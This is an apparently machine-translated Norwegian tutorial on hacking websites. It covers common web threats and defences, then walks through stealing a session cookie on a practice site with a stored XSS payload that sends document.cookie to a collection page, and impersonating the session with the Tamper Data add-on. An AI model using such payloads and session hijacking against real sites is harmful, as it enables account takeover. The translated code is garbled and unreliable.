Articles

Hvordan Hacke Et Nettsted: Hacking Nettsteder Online Eksempel

Flere mennesker har tilgang til internett enn noen gang før. Dette har bedt mange organisasjoner til å utvikle web-baserte applikasjoner som brukere kan bruke nettet til å samhandle med organisasjonen. Dårlig skrevet kode for webapplikasjoner kan utnyttes for å få uautorisert tilgang til sensitive data og webservere.

i denne opplæringen vil du lære å hacke nettsteder, og vi vil introdusere deg til web-applikasjon hacking teknikker og mottiltak du kan få på plass for å beskytte mot slike angrep.

Emner dekket i denne opplæringen

  • Hva er en webapplikasjon? Hva Er Internett-Trusler?
  • hvordan beskytte Ditt Nettsted mot hacks?
  • Nettsted hacking triks: Hack Et Nettsted på nettet!

Hva er et webprogram? Hva Er Internett-Trusler?

en webapplikasjon (aka nettsted) er et program basert på klient-server-modellen. Serveren gir databasetilgang og forretningslogikk. Det er vert på en webserver. Klientprogrammet kjører på klientens nettleser. Webapplikasjoner er vanligvis skrevet på språk Som Java, C# og VB.Net, PHP, ColdFusion Markup Language, ETC. databasemotorene som brukes i webapplikasjoner inkluderer MySQL, MS SQL Server, PostgreSQL,SQLite, etc.

de fleste webapplikasjoner er vert på offentlige servere som er tilgjengelige Via Internett. Dette gjør dem sårbare for angrep på grunn av enkel tilgjengelighet. Følgende er vanlige webapplikasjonstrusler.

  • SQL Injection-målet med denne trusselen kan være å omgå login algoritmer, sabotere data, etc.
  • Denial Of Service Angrep-målet med denne trusselen kan være å nekte legitime brukere tilgang til ressursen
  • Cross Site Scripting XSS-målet med denne trusselen kan være å injisere kode som kan utføres på klientsiden leseren.
  • Informasjonskapsel / Øktforgiftning-målet med denne trusselen er å endre informasjonskapsler/øktdata av en angriper for å få uautorisert tilgang.
  • Form Tukling-målet med denne trusselen er å endre skjema data som priser i e-handel programmer slik at angriperen kan få elementer til reduserte priser.
  • Code Injection-målet med denne trusselen er å injisere kode SOM PHP, Python, etc. det kan utføres på serveren. Koden kan installere bakdører, avsløre sensitiv informasjon, etc.
  • Defacement-målet med denne trusselen er å endre siden blitt vist på et nettsted og omdirigere alle sideforespørsler til en enkelt side som inneholder angriperens melding.

hvordan beskytte Nettstedet ditt mot hack?

en organisasjon kan vedta følgende policy for å beskytte seg mot webserverangrep. SQL Injection-sanitizing og validere brukerparametere før du sender dem til databasen for behandling kan bidra til å redusere sjansene for blitt angrepet via SQL Injection. Databasemotorer SOM MS SQL Server, MySQL, etc. støtte parametere, og forberedt uttalelser. De er mye tryggere enn tradisjonelle SQL – setninger

  • Denial Of Service Angrep-brannmurer kan brukes til å slippe trafikk fra mistenkelig IP-adresse hvis angrepet er en enkel DoS. Riktig konfigurasjon av nettverk og Inntrengingsdeteksjonssystem kan også bidra til å redusere sjansene for At Et DoS-angrep har vært vellykket.
  • Cross Site Scripting-validering og desinfisering av overskrifter, parametere som sendes via NETTADRESSEN, skjemaparametere og skjulte verdier, kan bidra til å redusere xss-angrep.
  • Cookie / Session Poisoning – dette kan forebygges ved å kryptere innholdet i cookies, timing ut cookies etter en tid, knytte cookies med klientens IP-adresse som ble brukt til å lage dem.
  • form tempering-dette kan forhindres ved å validere og verifisere brukerinngangen før den behandles.
  • Kodeinjeksjon – Dette kan forebygges ved å behandle alle parametere som data i stedet for kjørbar kode. Sanitisering og Validering kan brukes til å implementere dette.
  • Defacement – en god sikkerhetspolicy for webapplikasjonsutvikling bør sikre at den forsegler de vanlige sårbarhetene for å få tilgang til webserveren. Dette kan være en riktig konfigurasjon av operativsystemet, webserverprogramvare og beste sikkerhetspraksis når du utvikler webapplikasjoner.
  • Nettsted hacking triks: Hack Et Nettsted på nettet

    i denne nettsiden hacking praktisk scenario, vi kommer til å kapre bruker økten av web-applikasjon som ligger på www.techpanda.org. Vi vil bruke cross site scripting for å lese cookie session id og deretter bruke den til å utgi seg for å være en legitim bruker session.

    forutsetningen er at angriperen har tilgang til webapplikasjonen, og han vil gjerne kapre øktene til andre brukere som bruker samme program. Målet med dette angrepet kan være å få admintilgang til webapplikasjonen, forutsatt at angriperens tilgangskonto er begrenset.

    Komme i gang

    • Åpne http://www.techpanda.org/
    • for øvelsesformål anbefales det sterkt å få tilgang ved HJELP AV SQL-Injeksjon. Se denne artikkelen for mer informasjon om hvordan du gjør det.denne e-postadressen er beskyttet mot programmer som samler e-postadresser. Du må aktivere Javaskript for å kunne se den., passordet Er Password2010
    • Hvis du har logget inn vellykket, så vil du få følgende dashbord

    hvordan hacke Et Nettsted

    • Klikk På Legg Til Ny Kontakt
    • Skriv inn følgende som fornavn

    <et href=# onclick=\»dokument.plassering=\’ http://techpanda.org/snatch_sess_id.php?c=\’+escape\(dokument.informasjonskapsel\)\;\ » > Mørk</a>

    her bruker

    Koden ovenfor JavaScript. Det legger til en hyperkobling med en onclick-hendelse. Når intetanende brukeren klikker på linken, henter hendelsen PHP cookie session ID og sender den til snatch_sess_id.php side sammen med økt id I URL

    hvordan hacke Et Nettsted

    • Skriv inn de resterende detaljene som vist nedenfor
    • Klikk På Lagre Endringer

    hvordan hacke et nettsted

  • dashbordet Ditt Vil nå se ut som følgende skjermbilde
  • hvordan hacke et nettsted

    • siden SKRIPTKODEN PÅ tvers av nettstedet er lagret i databasen, vil den bli lastet hver gang brukere med tilgangsrettigheter login
    • la oss anta at administratoren pålogginger og klikk På hyperkobling som sier Mørk
    • Han/hun vil få vinduet med økt-id viser I URL

    hvordan hacke Et Nettsted

    Merk: skriptet kan sende verdien til noen ekstern server der phpsessid er lagret Da brukeren omdirigert tilbake til nettstedet som om ingenting skjedde.

    Merk: verdien du får kan være forskjellig fra den i denne websiden hacking opplæringen, men konseptet er det samme

    Session Etterligning Ved Hjelp Av Firefox og Tukle data add-on

    flytskjemaet nedenfor viser trinnene som du må ta for å fullføre denne øvelsen.

    hvordan hacke Et Nettsted

    • Du trenger Firefox nettleser for denne delen og Tukle data add-on
    • Åpne Firefox Og installere add som vist i diagrammene nedenfor

    hvordan hacke et nettsted

    hvordan hacke et nettsted

    • søk etter tukle data og klikk deretter på installer som vist ovenfor

    hvordan hacke et nettsted

    • klikk på Godta Og Installer…

    hvordan hacke Et Nettsted

    hvordan hacke Et Nettsted

    • klikk På Restart nå når installasjonen er fullført
    • aktiver menylinjen i firefox hvis den ikke vises

    hvordan hacke et nettsted

    • klikk på verktøy-menyen og velg deretter tukle data som vist nedenfor

    hvordan hacke et nettsted

    • Du får Følgende Vindu. Merk: hvis Vinduene ikke er tomme, trykk på knappen

    hvordan hacke Et Nettsted

    • Klikk På Start Tamper menyen
    • Bytt tilbake Til Firefox nettleser, skriv http://www.techpanda.org/dashboard.php trykk enter for å laste siden
    • Du vil få følgende pop up Fra Tamper Data

    hvordan hacke Et Nettsted

    • popup-vinduet har tre (3) alternativer. Alternativet Tamper lar deg endre INFORMASJONEN I HTTP-toppteksten før den sendes til serveren.
    • Klikk på den
    • Du vil få følgende vindu

    hvordan hacke Et Nettsted

    • Kopier PHP session ID du kopierte fra angrepet URL og lim den inn etter likhetstegnet. Verdien din skal nå se slik ut

    PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

    • Klikk PÅ OK knapp
    • du vil få Popup-vinduet For Tamperdata igjen

    hvordan hacke et nettsted

    • FJERN MERKET I BOKSEN SOM BER FORTSETTE TUKLING?
    • Klikk på send-knappen når du er ferdig
    • du skal kunne se dashbordet som vist nedenfor

    hvordan hacke Et Nettsted

    Merk: vi logget ikke inn, vi etterlignet en påloggingsøkt ved HJELP AV PHPSESSID-verdien vi hentet ved hjelp av cross site scripting

    Sammendrag

    • en webapplikasjon er basert på server-klientmodellen. Klientsiden bruker nettleseren til å få tilgang til ressursene på serveren.
    • Webapplikasjoner er vanligvis tilgjengelige over internett. Dette gjør dem sårbare for angrep.
    • webapplikasjonstrusler inkluderer SQL-Injeksjon, Kodeinjeksjon, XSS, Defacement, Cookie forgiftning, etc.
    • en god sikkerhetspolitikk når du utvikler webapplikasjoner kan bidra til å gjøre dem sikre.